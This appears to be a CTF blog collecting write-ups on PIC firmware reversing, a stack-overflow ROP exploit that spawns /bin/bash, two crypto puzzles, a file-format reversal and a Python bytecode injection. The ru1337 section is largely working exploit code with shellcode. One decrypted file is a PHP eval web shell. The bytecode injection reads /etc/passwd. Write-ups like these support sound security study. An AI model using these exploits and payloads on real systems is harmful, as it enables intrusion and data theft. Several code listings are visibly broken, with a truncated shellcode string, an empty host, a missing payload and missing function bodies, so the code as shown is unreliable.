code hacking, zen coding


Atast CTF – Gadget – IDA static analysis PIC16F Blinker Write-Up

Posted by aXs

Gadget was an electronic challenge at the Atast CTF. You get a schematic design for ISIS and .hex file for the PIC16F CPU. I choose to use the evaluation version of PIC Simulator just to visualize what this design was about:


When you run the program, the 8 LEDs will blink at the same time in short and long patterns: could be morse ?

I don't much about PIC and even less about electronic so let see how we can solve this challenge using only static analysis with IDA.

IDA will load the .hex file just fine. Make sure you uncheck "Memory layout" in the import options.

After reversing and renaming everything, its quite easy to understand what's going on:

The program entry point:

CODE:0000 ; Reset Vector
CODE:0000 ; Attributes: thunk
CODE:0000                 ; public start
CODE:0000 start:
CODE:0000                 b       main
CODE:0000 ; End of function start

The leds are turned on by setting RB0->RB7 pins (PORTB) to 0xFF:

CODE:000A led_on:                                 ; CODE XREF: main:sequence_startp
CODE:000A                                         ; main+16p ...
CODE:000A                 movlw   0FF
CODE:000B                 bcf     BANK0:STATUS, RP0
CODE:000C                 bcf     BANK0:STATUS, RP1
CODE:000D                 movwf   BANK0:PORTB
CODE:000E                 return
CODE:000E ; End of function led_on

..and turned off by clearing PORTB (output value 0x0):

CODE:001E led_off:                                ; CODE XREF: main+14p
CODE:001E                                         ; main+18p ...
CODE:001E                 bcf     BANK0:STATUS, RP0
CODE:001F                 bcf     BANK0:STATUS, RP1
CODE:0020                 clrf    BANK0:PORTB
CODE:0021                 return
CODE:0021 ; End of function led_off

We need to wait some time between signals so we have delay loops like this one:

DATA:007B wait1           equ 7B                  ; DATA XREF: wait_for_dash+3w
DATA:007C wait2           equ 7C                  ; DATA XREF: wait_for_dash+5w
DATA:007D wait3           equ 7D                  ; DATA XREF: wait_for_dash+7w

CODE:0022 delay:                                  ; CODE XREF: main+15p
CODE:0022                                         ; main+1Dp ...
CODE:0022                 movlw   82 ; 'é'
CODE:0023                 bcf     BANK0:STATUS, RP0
CODE:0024                 bcf     BANK0:STATUS, RP1
CODE:0025                 movwf   wait2
CODE:0026                 movlw   0DD ; '¦'
CODE:0027                 movwf   wait3
CODE:0028 wait_loop:                              ; CODE XREF: delay+7j
CODE:0028                                         ; delay+9j
CODE:0028                 decfsz  wait3, f
CODE:0029                  b       wait_loop
CODE:002A                 decfsz  wait2, f
CODE:002B                  b       wait_loop
CODE:002C                 nop
CODE:002D                 nop
CODE:002E                 return
CODE:002E ; End of function delay

We set 2 or 3 byte registers (depend how long the pause needs to be) to some value and then we have loops that decrement them until zero like this:

for wait1 in range(0x15):
  for wait2 in range(0x82):
    for wait3 in range(0xDD):
      # do nothing

We can sort the delay functions using these 3-bytes counter values and assign them proper name:
- 0082DD: delay is used when in between led blink sequence, not useful for morse decoding
- 0082DD: short is a short delay used for blinking a led: dot
- 028699: middle is used for a long blink: dash
- 048E12: long is used for delay between blinks: space

There is different subs for each different pause: short, long, etc... Careful renaming will make the main function easy to understand:

CODE:0058 main:                                   ; CODE XREF: startj
CODE:0058                 bsf     BANK0:STATUS, RP0
CODE:0059 ; assume bank = 1
CODE:0059                 bcf     BANK1:STATUS, RP1
CODE:005A                 clrf    BANK1:TRISB
CODE:005B                 bcf     BANK1:STATUS, RP0
CODE:005C ; assume bank = 0
CODE:005C                 clrf    BANK0:PORTB
CODE:005D                 movlw   15
CODE:005E                 movwf   wait1
CODE:005F                 movlw   4B ; 'K'
CODE:0060                 movwf   wait2
CODE:0061                 movlw   0BE ; '¥'
CODE:0062                 movwf   wait3
CODE:0063 loop_wait1:                             ; CODE XREF: main+Cj main+Ej ...
CODE:0063                 decfsz  wait3, f
CODE:0064                  b       loop_wait1
CODE:0065                 decfsz  wait2, f
CODE:0066                  b       loop_wait1
CODE:0067                 decfsz  wait1, f
CODE:0068                  b       loop_wait1
CODE:0069                 nop
CODE:006A sequence_start:                         ; CODE XREF: main+72j
CODE:006A                 call    led_on
CODE:006B                 call    wait_for_dash
CODE:006C                 call    led_off
CODE:006D                 call    delay
CODE:006E                 call    led_on
CODE:006F                 call    wait_for_dash
CODE:0070                 call    led_off
CODE:0071                 call    wait_for_space
CODE:0072                 call    led_on
CODE:0073                 call    wait_for_dash
CODE:0074                 call    led_off
CODE:0075                 call    delay
CODE:0076                 call    led_on
CODE:0077                 call    wait_for_dot
CODE:0078                 call    led_off
CODE:0079                 call    delay
CODE:007A                 call    led_on
CODE:007B                 call    wait_for_dash
CODE:007C                 call    led_off
CODE:007D                 call    delay
CODE:007E                 call    led_on
CODE:007F                 call    wait_for_dot
CODE:0080                 call    led_off
CODE:0081                 call    wait_for_space
CODE:0082                 call    led_on
CODE:0083                 call    wait_for_dot
CODE:0084                 call    led_off
CODE:0085                 call    delay
CODE:0086                 call    led_on
CODE:0087                 call    wait_for_dot
CODE:0088                 call    led_off
CODE:0089                 call    delay
CODE:008A                 call    led_on
CODE:008B                 call    wait_for_dash
CODE:008C                 call    led_off
CODE:008D                 call    wait_for_space
CODE:008E                 call    led_on
CODE:008F                 call    wait_for_dash
CODE:0090                 call    led_off
CODE:0091                 call    delay
CODE:0092                 call    led_on
CODE:0093                 call    wait_for_dash
CODE:0094                 call    led_off
CODE:0095                 call    wait_for_space
CODE:0096                 call    led_on
CODE:0097                 call    wait_for_dash
CODE:0098                 call    led_off
CODE:0099                 call    delay
CODE:009A                 call    led_on
CODE:009B                 call    wait_for_dash
CODE:009C                 call    led_off
CODE:009D                 call    delay
CODE:009E                 call    led_on
CODE:009F                 call    wait_for_dash
CODE:00A0                 call    led_off
CODE:00A1                 call    wait_for_space
CODE:00A2                 call    led_on
CODE:00A3                 call    wait_for_dot
CODE:00A4                 call    led_off
CODE:00A5                 call    delay
CODE:00A6                 call    led_on
CODE:00A7                 call    wait_for_dash
CODE:00A8                 call    led_off
CODE:00A9                 call    delay
CODE:00AA                 call    led_on
CODE:00AB                 call    wait_for_dot
CODE:00AC                 call    led_off
CODE:00AD                 call    wait_for_space
CODE:00AE                 call    led_on
CODE:00AF                 call    wait_for_dot
CODE:00B0                 call    led_off
CODE:00B1                 call    delay
CODE:00B2                 call    led_on
CODE:00B3                 call    wait_for_dot
CODE:00B4                 call    led_off
CODE:00B5                 call    delay
CODE:00B6                 call    led_on
CODE:00B7                 call    wait_for_dot
CODE:00B8                 call    led_off
CODE:00B9                 call    wait_for_space
CODE:00BA                 call    led_on
CODE:00BB                 call    wait_for_dot
CODE:00BC                 call    led_off
CODE:00BD                 movlw   15
CODE:00BE                 movwf   wait1
CODE:00BF                 movlw   4B ; 'K'
CODE:00C0                 movwf   wait2
CODE:00C1                 movlw   0BE ; '¥'
CODE:00C2                 movwf   wait3
CODE:00C3 wait_loop2:                             ; CODE XREF: main+6Cj
CODE:00C3                                         ; main+6Ej ...
CODE:00C3                 decfsz  wait3, f
CODE:00C4                  b       wait_loop2
CODE:00C5                 decfsz  wait2, f
CODE:00C6                  b       wait_loop2
CODE:00C7                 decfsz  wait1, f
CODE:00C8                  b       wait_loop2
CODE:00C9                 nop
CODE:00CA                 b       sequence_start
CODE:00CA ; End of function main

Translating to morse code the different waits: -- -.-. ..- -- --- .-. ... .


... and another victory for IDA static analysis.

Download challenge file:
Full .HEX disassembly: blinker.asm

Tagged as: , , Comments Off

29C3 CTF – Exploitation 200 – ru1337 write-up

Posted by aXs


Are you 31337? Get your credentials checked here

$ nc 1024
Please enter your username and password

User: aXs
Password: toto
u r not s0 1337zz!!!

After some work in your favorite debugger, we can work with the reversing of our little binary:

char *getUserAndPassword()
  char *buffer; // eax@1
  char password[128]; // [sp+24h] [bp-94h]@1
  char username[8]; // [sp+A4h] [bp-14h]@1
  int i; // [sp+ACh] [bp-Ch]@2

  memset(username, 0, 8u);
  memset(password, 0, 8u);
  buffer = (char *)mmap((void *)0xBADC0DE, 0x88u, 3, 34, 0, 0);
  mmap_buffer = buffer;
  if ( buffer != (char *)-1 )
    send(fd, "ID&PASSWORD 1337NESS EVALUATION\nPlease enter your username and password\n\nUser: ", 0x4Fu, 0);
    recv(fd, username, 0x2Cu, 0);
    for ( i = 0; i <= 7 && username[i] && username[i] != 10; ++i )
      if ( !((*__ctype_b_loc())[username[i]] & 0x400) )
    send(fd, "Password: ", 0xAu, 0);
    recv(fd, password, 0x80u, 0);
    strcpy(mmap_buffer, username);
    strcpy(mmap_buffer + 8, password);
    dup2(fd, 0);
    dup2(fd, 1);
    dup2(fd, 2);

- mmap a buffer at fixed address 0xbadc0de with RW permissions (0xbadc0de will be aligned to 0xbadc000)
- Read username, length 44 <- username is allocated 8 bytes on the stack: buffer overflow possible - Check first 8 characters of username are alphabetic - Read password, length 128 - Concat username and password into the mmap-ed buffer - dup2 the socket descriptor to stdin/stdout/stderr (make it even easier) Some words about __ctype_b_loc():

The __ctype_b_loc() function shall return a pointer into an array of characters in the current locale that contains characteristics for each character in the current character set. The array shall contain a total of 384 characters, and can be indexed with any signed or unsigned char (i.e. with an index value between -128 and 255).

We are checking against flag 0x400: this is simply the isalpha() macro

Our strategy:
- Overflow username to control RET address
- Use the nice mprotect sequence in the binary to pivot the stack
- ROP chain to mprotect the mmap-ed buffer to RWX permissions
- End ROP chain with jump to shellcode, will spawn /bin/bash
- Send commands to bash to list directory and display flag file

import socket
from struct import pack,unpack
import time

shellcode  = "\x89\xec" # restore sane esp with mov esp, ebp

# execve /bin/bash -p
shellcode += "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52" \
"\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52" \

host = ''
port = 1024

mprotect_call = 0x080487D9
mprotect_setup = 0x080487BC

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((host, port))

login = 'A' * 20
rop  = pack('<I', 0x0badc000 + 8) # restore ebp
rop += pack('<I',  mprotect_setup) # stack pivot

rop += pack('<I', mprotect_call)
rop += pack('<I', 0xbadc000) # needs to be aligned
rop += pack("<I", 0xff) # size_t len
rop += pack("<I", 0x07) # RWX

buffer = login + rop


rop  = pack('<I', 0xbadc0ff) # restore ebp, will be used for esp later
rop += pack('<I', 0xbadc010) # eip with shellcode
rop += "\x90" * 4
rop += shellcode

s.send(rop + "\n")


s.send("\n/bin/ls -la\ncat flag\n")

while True:
    data = s.recv(1024)
    if data:
        print repr(data)


$ python
'ID&PASSWORD 1337NESS EVALUATION\nPlease enter your username and password\n\nUser: Password: '
'total 24\ndrwxr-xr-x 2 root root 4096 Dec 20 21:49 .\ndrwxr-xr-x 3 root root 4096 Dec 19 20:31 ..\n-r--r--r-- 1 root root   38 Dec 20 21:49 flag\n-r-xr-xr-x 1 root root 9776 Dec 26 01:42 ru1337\n'

HackYouToo CTF – Crypto 300 – Everybody Lies

Posted by aXs

Mr. Menhall has invented his own encryption algorithm and promised to give the flag to anyone who manages to decipher the message:


def hashcrypt(msg, key):
    token = hashlib.sha1(key).digest()
    res = ""
    for c in msg:
        n = ord(c) ^ 0xfe ^ 0xc3 ^ 0x42 ^ 0x21
        n ^= 0xc2 ^ ord(token[0])
        n ^= 0xf3 ^ ord(token[1])
        n ^= 0x27 ^ ord(token[2])
        n ^= 0x4c ^ ord(token[3])
        n ^= 0x21 ^ ord(token[4])
        n ^= 0xfe ^ ord(token[5])
        n ^= 0xa3 ^ ord(token[6])
        n ^= 0xf0 ^ ord(token[7])
        n ^= 0x11 ^ ord(token[6])
        n ^= 0x54 ^ ord(token[5])
        n ^= 0xca ^ ord(token[4])
        n ^= 0x3c ^ ord(token[3])
        n ^= 0x20 ^ ord(token[2])
        n ^= 0xd1 ^ ord(token[1])
        n ^= 0xf2 ^ ord(token[0])
        res += chr(n)
        token = hashlib.sha1(chr(n)).digest()
    return res.encode('base64').encode('rot13')

We need to code the reverse function to decrypt the cypher text.

Looking more closely, we notice most of the tokens (token[0] -> token[6]) are nulling each other because the operator between them is XOR: A^B^B = A

Also the token will get overwritten at each step with the sha1 hash of the previous cypher byte: We can decrypt all the chars except the first one.

import hashlib

def hashdecrypt(msg, key):
    msg = msg.decode('rot13').decode('base64')
    token = hashlib.sha1(key).digest()
    res = ""

    for c in msg:
        n = ord(c) ^ 0xfe ^ 0xc3 ^ 0x42 ^ 0x21
        n ^= 0xc2
        n ^= 0xf3
        n ^= 0x27
        n ^= 0x4c
        n ^= 0x21
        n ^= 0xfe
        n ^= 0xa3
        n ^= 0xf0 ^ ord(token[7])
        n ^= 0x11
        n ^= 0x54
        n ^= 0xca
        n ^= 0x3c
        n ^= 0x20
        n ^= 0xd1
        n ^= 0xf2
        res += chr(n)
        token = hashlib.sha1(c).digest()
    return res

msg = "vWsMajX21l6BdKwDxaRA3utqhpvFL0V="
plaintext = hashdecrypt(msg, "unknown")

print "plaintext=", plaintext


plaintext= 9_lied_no_flag_for_you!

Guessing time... "i_lied_no_flag_for_you!" was the correct flag.

Tagged as: Comments Off

HackYouToo CTF – Crypto 500 – AllahAkbar

Posted by aXs

We were able to intercept a suspicious file. This is an archive of correspondence between leading cryptographers of hostile organization.
According to the agents' data, during the conversation one of the respondents accidentally uses a file that is added as trusted to all computers of the organization. Their antivirus software recognizes the files by their md5 hashes. We want our virus to spread easily within their network and we have quantum computers, as well as other useful technologies. You understand the rest.

Let us know the md5 hash of deciphered 'bin' file.

Intelligence data:


We have a "bin" file which is encrypted using this organization's new encryption algorithm, we need to decrypt the file and submit its md5 as flag. So we really need to get all the bytes right.


100 138 138 119 20 126 130 134 118 20 142 118 130 140 120 102 20 145 150 20 110 139 116 157 144 141 20 133 168 2O 166 129 138 135 92 20 120 126 152 135 150 64 126 159 116 137 80 72 108 142 138 168 96 78 130 105 126 119 106 117 128 139 134 190 100 123 100 101 78 186 82 118 94 94 144 130 134 150 138 136 64 132 178 64 130 152 152 130 208 134 164 102 174 20 94 94 140 164 138 138 64 160 130 152 138 166 168 146 156 130 66 66 66 66 66 66 66 66 66 20 126 124

Algorithm for encryption is explained here:

function enc(plaintext){
        key = random() mod (length(plaintext) * 2);
        ct = [];
        {for c as all characters in pt}
                ct += ascii_code_of_char(c) + (ascii_code_of_char(c) mod key++);
        return ct;

Some remarks:
- The length of the document is known so key will be 0 >= key > len(document)*2
- The cipher function is y = x + (x mod a) which mean we have multiple solutions for x for a given y

Producing solution candidates:

import sys

cipher = [100,138,138,119,20,126,130,134,118,20,142,118,130,140,120,102,20,145,150,20,110,139,116,157,144,141,20,133,168,20,166,129,138,135,92,20,120,126,152,135,150,64,126,159,116,137,80,72,108,142,138,168,96,78,130,105,126,119,106,117,128,139,134,190,100,123,100,101,78,186,82,118,94,94,144,130,134,150,138,136,64,132,178,64,130,152,152,130,208,134,164,102,174,20,94,94,140,164,138,138,64,160,130,152,138,166,168,146,156,130,66,66,66,66,66,66,66,66,66,20,126,124]

for key in range(1, len(cipher) * 2):
    i = key
    has_solution = 1
    flag = ''
    for c in cipher:
        stop = 0
        solutions = []
        for x in range(1,256):
            b = x + (x % i)
            if c == b:
                stop = stop + 1
                flag = flag + chr(x)
        if stop == 0:
            has_solution = 0
        if key == 34: # guessed from list of possible solutions
            for solution in solutions:
                sys.stdout.write(chr(solution) + '(' + hex(solution) + ') ')
            print ""
        i = i + 1
    if has_solution == 1:
        print "key=", key, "flag=", repr(flag)


key= 2 flag= "cd\x8a\x87\x89u\x10\x13~}\x81\x82mr\n\x83\x89oy\x80\x82ltf\n\x13\x8b\x87\x91\ncn\x7f^j\x8d|\x89\x8a\nn\x90\x9f\n\x93\xa3rx\x89x@R\nbuft\x88\x81u\x8a Uk\x93Qh\\(@$Ohz_y\x890K']yQ\\yY5SY_~ec\x83\xa02S_2TU'J\xa4)M;/T/HnACjKEmD B\x83\xad AlLLxA\x95\xc2CR\x803W\x86\n//FwREwE PAuLEzST\x8aIN\x85A!!!!!!!!!\n?|>"
key= 4 flag= "bd\x86\x87\x8aw\x0e\x12~}\x82\x85kq\n\x86\x8dhy\x81\x8airY\n\x14}\x82\x8d\n[g\x84an\x92\x80\x8er\nq\x94\xa4\n\x86\x97ui{{AT\ndxhv\x8b\x84w\x8d Vm\x96Rj](A$Pj|`{\x8b0L'^{R]{Z5TZ`\x80fd\x85\xa22T`2UV'K\xa6)N;/U/HoACkKEnD B\x84\xaf AmLLyA\x96\xc4CR\x813W\x87\n//FxRExE PAvLE{ST\x8bIN\x86A!!!!!!!!!\n?}>"
key= 6 flag= "_b\x84\x85\x89v\x0f\x14vw}\x84ls\n\x7f\x87nw\x80\x7fnx]\n\x82\x87\x93\n^k\x89dr\x97u\x84u\nt\x87\x98\n\x89\x9bxk~~BV\nQfjx\x8e\x87y\x90 Wo\x99Sl^(B$Ql~a}\x8d0M'_}S^}[5U[@agCe\xa42Ua2VW'L\xa8)O;/V/HpAClKEoD B\x85\xb1 AnLLzA\x97\xc6CR\x823W\x88\n//FyREyE PAwLE|ST\x8cIN\x87A!!!!!!!!!\n?~>"
key= 8 flag= "^b\x84\x81\x86m\n\x10sy\x80\x7fks\n}\x86ts}\x85hsa\n\x87\x7f\x8c\nSaqXg\x9cx\x88x\nw\x8a\x9c\n\x8c\x9f{m\x81\x81CX\nRhlz\x91[{\x93 Xq\x9cTn_(C$6R\x80b\x7f\x8f0N'`\x7fT?_\\5V\\@bhCf\xa62Vb2WX'M\xaa)P;/W/HqACmKEpD BY\x86 AoLL{A\x98\xc8CR\x833W\x89\n//FzREzE PAxLE}ST\x8dIN\x88A!!!!!!!!!\n?>"
key= 10 flag= "_d\x87\x81\x87v\n\x11{y\x81vhq\n\x83\x8demx\x8blxe\n\x8c\x83\x91\nUdtZj\x80{\x8c{\nz\x8d\xa0\n\x8f\xa3~o\x84\x84DZ\nSjn|\x94\\}\x96 Ys\x9fUp`(D$6S\x82c\x81\x910O'a\x81U?`]5W]@ciCg\xa82Wc2XY'N\xac)Q;/X/HrACnKEqD BY\x87 ApLL|A\x99\xcaCR\x843W\x8a\n//F{RE{E PAyLE~ST\x8eIN\x89A!!!!!!!!!\n?>"
key= 12 flag= "\\b\x86}\x84p\n\x12rw\x80|cm\n~\x89iq}xcpN\n\x91\x87\x96\nWgw\\m\x83~\x90~\n}\x90\xa4\n}\x92\x81q\x87\x87E\\\nTlp~\x97]e\x7f ZukVra(E$6T\x84d\x83\x930P'AbV?a^5X^@djCh\xaa2Xd2YZ'\xae)R;/Y/HsACoKErD BY\x88 AqLL}A\x9a\xccCR\x853W\x8b\n//F|RE|E PAzLE\x7fST\x8fIN\x8aA!!!!!!!!!\n?>"
key= 14 flag= "\\c\x81}\x85w\n\x13xs}\x82gr\nw\x83mu\x82|ftP\nw{\x8b\nYjz^p\x86n\x81\x81\n\x80\x93\xa8\n\x7f\x95Ws\x8a[.F\nUnrf\x80^f\x81 [wlWtb(F$6U\x86e\x85\x950Q'AcW?b_5Y_@ekCi\xac2Ye2Z['\xb0);/Z/HtACpKEsD BY\x89 ArLL~A\x9b\xceCR\x863W\x8c\n//F}RE}E PA{LE\x80ST\x90IN\x8bA!!!!!!!!!\n?>"
key= 16 flag= "Zb\x89{\x84k\n\x14~mxq_k\n{\x88qky\x80ixR\nz~\x8f\n[m}`s\x89p\x84\x84\n\x83\x80\x96\n\x81\x98X]u\\.G\nVptg\x82_g\x83 \\ym:Xc(G$6V\x88f\x87\x970R'AdX?c`5Z`@flCj\xae2Zf2[\'\xb2);/[/HuACqKEtD BY\x8a AsLL\x7fA\x9c\xd0CR\x873W\x8d\n//F~RE~E PA|LE\x81ST\x91IN\x8cA!!!!!!!!!\n?>"
key= 18 flag= "V_~w\x81p\nmq}ubo\n\x7f\x8dun}\x84\\lT\n}\x81\x93\nJ]\x80Nb\x8cr\x87\x87\nY\x82\x99\n\x83\x9bY^w].H\nWrvh\x84`h\x85 ]{n:Yd(H$6W\x8ag\x89\x990S'AeY?da5[a@gmCk\xb02[g2\\]'\xb4);/\\/HvACrKEuD BY\x8b AtLL\x80Ah\x9dCR\x883W\x8e\n//F\x7fRE\x7fE PA}LE\x82ST\x92IN\x8dA!!!!!!!!!\n?>"
key= 20 flag= "Zd\x84|\x87u\nqu\x82yes\nt\x83Zq\x81\x88^oV\n\x80q\x84\nK_\x83Od\x8ft\x8a\x8a\nZ\x84\x9c\n\x85\x9eZ_y^.I\nXtxi\x86ai\x87 ^}o:Ze(I$6X\x8cEh\x9b0T'AfZ?eb5\\b@hnCl\xb22\\h2]^'\xb6);/]/HwACsKEvD BY\x8c AuLL\x81Ah\x9eCR\x893W\x8f\n//F\x80RE\x80E PA~LE\x83ST\x93IN\x8eA!!!!!!!!!\n?>"
key= 22 flag= "S^\x8au\x81a\nuky}Yh\nw\x87\\ct\x8c`rX\n\x83s\x87\nLa\x86Pf\x92v\x8d\x8d\n[\x86\x9f\n\x87\xa1[`{_.J\nYvzj\x88bj\x89 ?_p:[f(J$6Y\x8eEi\x9d0U'Ag[?fc5]c@ioCm\xb42]i2^_'\xb8);/^/HxACtKEwD BY\x8d AvLL\x82Ah\x9fCR\x8a3W\x90\n//F\x81RE\x81E PA\x7fLE\x84ST\x94IN\x8fA!!!!!!!!!\n?>"
key= 24 flag= "Vbwy\x86d\nyn}\x81[k\nz\x8b^ewkbuZ\n\x86u\x8a\nMc\x89Qh\x95x\x90_\n\\\x88\xa2\n\x89\xa4\\a}`.K\nZx|k\x8ack\x8b ?`q:\\g(K$6ZGEj\x9f0V'Ah\\?gd5^d@jpCn\xb62^j2_`'\xba);//HyACuKExD BY\x8e AwLL\x83Ah\xa0CR\x8b3W\x91\n//F\x82RE\x82E PA\x80LE\x85ST\x95IN\x90A!!!!!!!!!\n?>"
key= 26 flag= "LY{o}g\n}q\x81\x85]n\nk}`gzmdx\\\n\x89w\x8d\nNe]Rj\x98az`\n]\x8a\xa5\no\x8b]b\x7fa.L\n<[~l\x8cdl\x8d ?ar:]h(L$6[GEk\xa10W'Ai]?he5_e@kqCo\xb82_k2`a']);//HzACvKEyD BY\x8f AxLL\x84Ah\xa1CR\x8c3W\x92\n//F\x83RE\x83E PA\x81LE\x86ST\x96IN\x91A!!!!!!!!!\n?>"
key= 28 flag= "N\\\x7fr\x81j\n`ctf_q\nm\x80bi}oQf^\n\x8cy\x90\nOg^Sl\x9bb|a\n^\x8c\xa8\np\x8d^c\x81b.M\n<\\?m\x8eem\x8f ?bs:^i(M$6\\GEl\xa30X'Aj^?if5`f@lrCp\xba2`l2ab']);//H{ACwKEzD BY\x90 AyLL\x85Ah\xa2CR\x8d3W\x93\n//F\x84RE\x84E PA\x82LE\x87ST\x97IN\x92A!!!!!!!!!\n?>"
key= 30 flag= "P_\x83u\x85m\nbewhat\no\x83dk\x80qRh`\n\x8f{\x93\nPi_Tnic~b\n_q\x8e\nq\x8f_d\x83c.N\n<]?n\x90fn\x91 ?ct:_j(N$6]GEm\xa50Y'Ak_?jg5ag@msCq\xbc2am2bc']);//H|ACxKE{D BY\x91 AzLL\x86Ah\xa3CR\x8e3W\x94\n//F\x85RE\x85E PALE\x88ST\x98IN\x93A!!!!!!!!!\n?>"
key= 32 flag= "Rb\x87x\x89p\ndgzjOc\nq\x86fWmsSjb\na}\x96\nQk`Upjd\x80c\n`r\x90\nr\x91`e\x85d.O\n<^?o\x92go\x93 ?du:`k(O$6^GEn\xa70Z'Al`?kh5bh@ntCr\xbe2bn2cd']);//H}ACyKE|D BY\x92 A{LL\x87Ah\xa4CR\x8f3W\x95\n//F\x86RE\x86E PALE\x89ST\x99IN\x94A!!!!!!!!!\n?>"
C(0x43) T(0x54)
i(0x69) {(0x7b)

i(0x69) }(0x7d)
P(0x50) e(0x65)

s(0x73) ?(0x89)
X(0x58) o(0x6f)
T(0x54) l(0x6c)

e(0x65) (0x7f)

R(0x52) m(0x6d)
V(0x56) r(0x72)
e(0x65) ?(0x82)

s(0x73) ?(0x92)

s(0x73) ?(0x93)
f(0x66) ?(0x87)
.(0x2e) P(0x50)

<(0x3c) _(0x5f)
p(0x70) ?(0x94)
p(0x70) ?(0x95)
?(0x3f) e(0x65)
:(0x3a) a(0x61)
((0x28) P(0x50)
6(0x36) _(0x5f)
E(0x45) o(0x6f)
0(0x30) [(0x5b)
A(0x41) m(0x6d)
?(0x3f) l(0x6c)
5(0x35) c(0x63)
@(0x40) o(0x6f)
C(0x43) s(0x73)
2(0x32) c(0x63)
2(0x32) d(0x64)
H(0x48) ~(0x7e)
C(0x43) z(0x7a)
E(0x45) }(0x7d)
Y(0x59) ?(0x93)
A(0x41) |(0x7c)
L(0x4c) ?(0x88)
h(0x68) ?(0xa5)
R(0x52) ?(0x90)
W(0x57) ?(0x96)

F(0x46) ?(0x87)
E(0x45) ?(0x87)
E(0x45) ?(0x8a)
T(0x54) ?(0x9a)
N(0x4e) ?(0x95)

key= 34 flag= "CThi{s\nfi}lPe\ns\x89hXouTld\nbe\x7f\nRmaVrke\x82d\nas\x92\ns\x93af\x87e.P\n<_?p\x94hp\x95 ?ev:al(P$6_GEoT0['Ama?li5ci@ouCs_2co2de']);//H~ACzKE}D BY\x93 A|LL\x88Ah\xa5CR\x903W\x96\n//F\x87RE\x87E PALE\x8aST\x9aIN\x95A!!!!!!!!!\n?>"

I hand-picked key=34 as the most promising solution because of the amount of readable text and then printed all the possible solutions for each ciphertext bytes.

Then I reconstructed the file using what seemed like the most probable value if there was several solutions.

Final decrypted file:

<?php eval($_GET['malicious_code']);//HACKED BY ALLAhCR3W

Curious to see if there is some way to find the good solution programmaticaly.

Tagged as: Comments Off

HackYouToo CTF – Binary 300 – Shredder Write-up

Posted by aXs

Have you tried feeding critical documents to a shredder? We've accidentally done this very thing.

Shredder: shredder.exe
Document remains: broken_flag.jpg

We need our document back!


Shredder is a Win32 binary that encrypt source file "flag.jpg" to "broken_flag.jpg". The encryption is only some translations and swaps and can be easily reversed.

### Guess mod_5 value using pattern file (map(chr,range(0,256))
### only 5 values possible anyways

mod_5 = 3

### Step 1 - Revert byte swap for position 8 and 13 every 16 bytes

buffer = map(ord, open("broken_flag.jpg", "rb").read())

j = 8
while (j<len(buffer)):
    (buffer[j], buffer[j + 5]) = (buffer[j + 5], buffer[j])
    j = j + 16

buffer = map(chr, buffer)

### Step 2 - Revert byte swap for value 53, 88, 109 and mod_5

out = ''
for j in range(0, len(buffer)):
    a = ord(buffer[j])

    a = (a - 1) & 0xFF ## revert ++buffer[j];

    if a == 53:
        a = 109
        if a == 109:
            a = 53

    if a == 88:
        a = mod_5 + 89
        if a == mod_5 + 89:
            a = 88

    out = out + chr(a)

open("plain.jpg", "wb").write(out)



PHDays CTF Quals – Pwn300 SouthPark Write-Up – Python byte-code version

Posted by aXs

This challenge is about the control panel of the Southpark police department. (I wonder how many weird google searches I'm going to get on this post)


You can choose an action and a victim. When you submit the form, it's a simple AJAX call that will display "'human' was 'action'"

If we look closer at this ajax call we have some variables to play with:


We get the "source" code of this challenge in the form of 2 files, one file and one compiled process.pyc file.

In, we see we import the process.pyc:

  def render_POST(self, request):
    import process
    addition = "<br>"
    addition += process.process(request.args)
    response = addition
    return response

Using the great Uncompyle2 by Mysterie, we can recover the source code of process.pyc:

import types

def create_function(name, args_count, choice, actions, human):

    def y():

    code = 't' + choice + ''\x00d\x01\x00\x83\x01\x00S'
    consts = (None,) + (human,)
    names = actions
    fun = [args_count,
    y_code = types.CodeType(*fun)
    return types.FunctionType(y_code, y.func_globals, name)

def kill(name):
    return '%s was killed' % name

def arrest(name):
    return '%s was arrested' % name

def bankrupt(name):
    return '%s was bankrupted' % name

def process(args):
    actions = tuple(args['actions'])
    choice = args['choice'][0]
    human = args['human'][0]
    return create_function('myfunc', 0, choice, actions, human)()

create_function creates a Python lambda function from scratch and then returns it for consumption.

There is many ways to exploit this code because it calls a function name defined by the user in actions passing human as parameter like for example:


But I was intrigued by the "code" variable and the choice parameter which is inserted in the middle of what is Python byte-code. Can we exploit that for extra fun? (not extra points tough)

What is the purpose of:

code = 't' + choice + '\x00d\x01\x00\x83\x01\x00S'

Using Python dis module we can disassemble it: (comments are my own)

>>> import dis
>>> choice = '\x00'
>>> dis.dis('t' + choice + '\x00d\x01\x00\x83\x01\x00S')
          0 LOAD_GLOBAL         0 (0) // load actions (as globals=names)
          3 LOAD_CONST          1 (1) // load human on stack
          6 CALL_FUNCTION       1
          9 RETURN_VALUE

Calling a function named after "actions" passing the "human" parameter.

So we can craft the following Python byte-code injection:


This byte-code string can be decoded as doing this:

>>> dis.dis('t' + chr(0) + '\x00d\x01\x00\x83\x01\x00' + chr(105) +  chr(1) + '\x00\x83\x00\x00S' + 't' +  chr(0) + '\x00d\x01\x00\x83\x01\x00S')
          0 LOAD_GLOBAL         0 (0) // push first "actions" parameter on stack : open
          3 LOAD_CONST          1 (1) // push "human" parameter on stack : /etc/passwd
          6 CALL_FUNCTION       1     // open('/etc/passwd')
          9 LOAD_ATTR           1 (1) // load second "actions" parameter as a "read" attr for the open object created previously
         12 CALL_FUNCTION       0     // read the file content: open('/etc/passwd').read()
         15 RETURN_VALUE              // we bypass rest of original byte-code by inserting a RETURN_VALUE opcode, bit like # -- in SQLi
         16 LOAD_GLOBAL         0 (0) // original code
         19 LOAD_CONST          1 (1)
         22 CALL_FUNCTION       1
         25 RETURN_VALUE

And we get the flag:

# $FreeBSD: src/etc/master.passwd,v 2012/11/17 08:36:10 svnexp Exp $
root:*:0:0:Charlie & flag -> d9301a72ee12eabb2b913398a3fab50b:/root:/bin/csh